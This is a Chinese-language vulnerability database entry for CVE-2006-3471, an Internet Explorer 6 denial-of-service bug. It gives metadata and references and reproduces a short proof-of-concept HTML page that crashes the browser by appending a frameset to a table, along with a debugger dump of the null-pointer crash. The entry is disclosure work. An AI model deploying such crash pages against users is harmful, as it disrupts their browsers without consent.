Microsoft Internet Explorer Table Frameset拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110579 漏洞类型 其他
发布时间 2006-07-07 更新时间 2007-06-26
CVE编号 CVE-2006-3471 CNNVD-ID CNNVD-200607-117
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/1989
https://www.securityfocus.com/bid/18873
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-117
|漏洞详情
WindowsXP上的MicrosoftInternetExplorer6可以使远程攻击者借助可触发空指针解引用的,frameset为child的表,引起拒绝服务(崩溃),比如使用appendChild方法。
|漏洞EXP
<!--
http://browserfun.blogspot.com/

The following bug was tested on the latest version of Internet Explorer 6 
on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff 
using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of 
every combination of elements up to the specifed depth. An alternate PoC 
could use plain HTML instead of javascript.

var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);

eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
mshtml!CTreePos::NextTreePos+0x23:
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??

-->

<html><body><script>

// MoBB Demonstration
function Demo() {
	var a = document.createElement('table');
	var b = document.createElement('frameset');
	a.appendChild(b);
}
</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

# milw0rm.com [2006-07-07]
|受影响的产品
Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Se
|参考资料

来源:BID
名称:18873
链接:http://www.securityfocus.com/bid/18873
来源:OSVDB
名称:26837
链接:http://www.osvdb.org/26837
来源:VUPEN
名称:ADV-2006-2701
链接:http://www.frsirt.com/english/advisories/2006/2701
来源:MISC
链接:http://browserfun.blogspot.com/2006/07/mobb-7-tableframeset.html
来源:XF
名称:ie-tableframeset-appendchild-dos(27592)
链接:http://xforce.iss.net/xforce/xfdb/27592